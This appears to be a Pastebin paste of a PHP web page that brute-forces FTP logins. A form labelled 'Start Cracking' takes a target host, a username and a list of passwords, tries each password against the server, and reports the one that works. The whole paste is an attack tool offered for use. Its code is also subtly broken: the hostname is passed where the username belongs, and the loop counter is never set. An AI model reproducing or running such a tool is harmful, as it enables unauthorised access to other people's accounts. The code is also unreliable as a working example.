Guest User

Untitled

a guest
Oct 22nd, 2017
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.29 KB | None | 0 0
  1. <?php
  2.  
  3. if(isset($_POST["hostname"]))
  4. {
  5.  
  6. $hostname = $_POST["hostname"];
  7. $username = $_POST["username"];
  8. $passwords = explode("\n", $_POST["passwords"]);
  9. $passwords_number = count($passwords);
  10.  
  11. if(ftp_connect($hostname))
  12. {
  13. echo "<h3 style='color:green;'>The server is successfuly connected!</h3>";
  14. $connection = ftp_connect($hostname);
  15. }else{
  16. echo "<h3 style='color:red'>Problem connecting to the server!</h3>";
  17. }
  18.  
  19. while($i < $passwords_number )
  20. {
  21.  
  22. if(@ftp_login($connection, $hostname, $passwords[$i]))
  23. {
  24. echo "<span style='color:green'>The login is successful using username : $username and Password : ".$passwords[$i]."</span><br>";
  25. break;
  26. }else{
  27. echo "<span style='color:red'>Failed login to the server using username : $username and password : ".$passwords[$i]."</span><br>";
  28. }
  29.  
  30. $i++;
  31. }
  32.  
  33. }
  34.  
  35. ?>
  36.  
  37. <html>
  38.  
  39. <form method="post">
  40.  
  41. <table>
  42.  
  43. <tr>
  44.  
  45. <td>Hostname :</td> <td><input type="text" name="hostname"/></td>
  46.  
  47. </tr>
  48.  
  49. <tr>
  50.  
  51. <td>Username :</td> <td><input type="text" name="username"/></td>
  52.  
  53. </tr>
  54.  
  55. <tr>
  56.  
  57. <td>Passwords :</td> <td><textarea name="passwords"></textarea></td>
  58.  
  59. </tr>
  60.  
  61. <tr>
  62.  
  63. <td></td> <td><input type="submit" value="Start Cracking"/></td>
  64.  
  65. </tr>
  66.  
  67. </table>
  68.  
  69. </form>
  70.  
  71. </html>
Add Comment
Please, Sign In to add comment